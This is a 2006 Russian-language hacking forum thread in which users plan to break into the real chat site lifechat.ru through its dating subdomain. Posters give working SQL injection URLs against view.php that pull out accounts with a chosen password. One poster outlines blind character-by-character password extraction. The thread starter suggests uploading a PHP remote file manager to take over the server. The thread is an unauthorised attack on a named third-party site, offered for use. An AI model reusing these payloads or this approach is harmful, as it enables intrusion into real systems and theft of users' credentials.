Ломаем чат бородина

Ломаем чат бородина

03.04.2006, 18:01

artkino

Новичок

Регистрация: 26.02.2006

Сообщений: 21

С нами: 10633016

Репутация: -5

Ломаем чат бородина

Еесть чат www.lifechat.ru как мы все знаем сломать чат на движке проблематично,но мы можем сломать этот чат через службу знакомств на этом же сервре где и чат вот ссылка на знакомства: http://dating.lifechat.ru/

𝕏 Twitter Reddit Telegram Копировать ссылку

03.04.2006, 18:24

~~seeattact~~

Banned

Регистрация: 12.01.2006

Сообщений: 621

С нами: 10698086

Репутация: 121

и к чему ты это написал?

03.04.2006, 18:27

artkino

Новичок

Регистрация: 26.02.2006

Сообщений: 21

С нами: 10633016

Репутация: -5

Цитата:

Сообщение от seeattact

и к чему ты это написал?

А ктому что можно попробовать сломать....

03.04.2006, 18:36

~~seeattact~~

Banned

Регистрация: 12.01.2006

Сообщений: 621

С нами: 10698086

Репутация: 121

Цитата:

Сообщение от artkino

А ктому что можно попробовать сломать....

ну вот и пробуй сам.как сломаеш напишеш.

03.04.2006, 18:51

censored!

Green member - Level 3

Регистрация: 02.11.2004

Сообщений: 1,337

С нами: 11325926

Репутация: 648

_http://dating.lifechat.ru/view.php?rand=1'
Но это уже не ко мне, а к ZaCo

__________________
+ (это не крестик, это плюсик!)
__________________
•
•
•

03.04.2006, 19:08

k1b0rg

Тут может быть ваша реклама.

Регистрация: 30.07.2005

Сообщений: 1,243

С нами: 10937126

Репутация: 1316

зачем зако когда есть его замеситель =))))
http://dating.lifechat.ru/view.php?rand=99999999999+or+(pass=123)/*
выдаст юзера у кого пароль 123, проверил, все подходит.

http://dating.lifechat.ru/view.php?rand=99999999999+or+(id=442)+and(pass=123 )/*

если будешь перебирать все возможные пароли то ты получишь пароль от тестового аккаунта(он первый)? вдруг этот пароль еще куда нить подойдет, заметь пароли могут быть не только в цифромов виде, можешь еще помучаться с (ascii(substring(pass,0,1))<100
вообщем вариантов много, жалко union и select не пашут

Последний раз редактировалось k1b0rg; 03.04.2006 в 19:22..

03.04.2006, 19:24

artkino

Новичок

Регистрация: 26.02.2006

Сообщений: 21

С нами: 10633016

Репутация: -5

Цитата:

Сообщение от k1b0rg

Отлчино,а теперь можно попробовать взломать этот чат через сайт знакомств. Есть такая программа если ее залить на сервер то можно иметь полный доступ к серверу и чату: http://php.spb.ru/remview/

03.04.2006, 19:27

k1b0rg

Тут может быть ваша реклама.

Регистрация: 30.07.2005

Сообщений: 1,243

С нами: 10937126

Репутация: 1316

Цитата:

Сообщение от artkino

ну нехера себе, где достал, она же приватная и стоит 500$ ты крут. научи пользоваться....
ты ниибацо крут, тебе надо ты и ломай, тебе дали уязвимость, показали как пользоваться, сиди и ломай, этот чат никому нах не нужен, тока себя потешить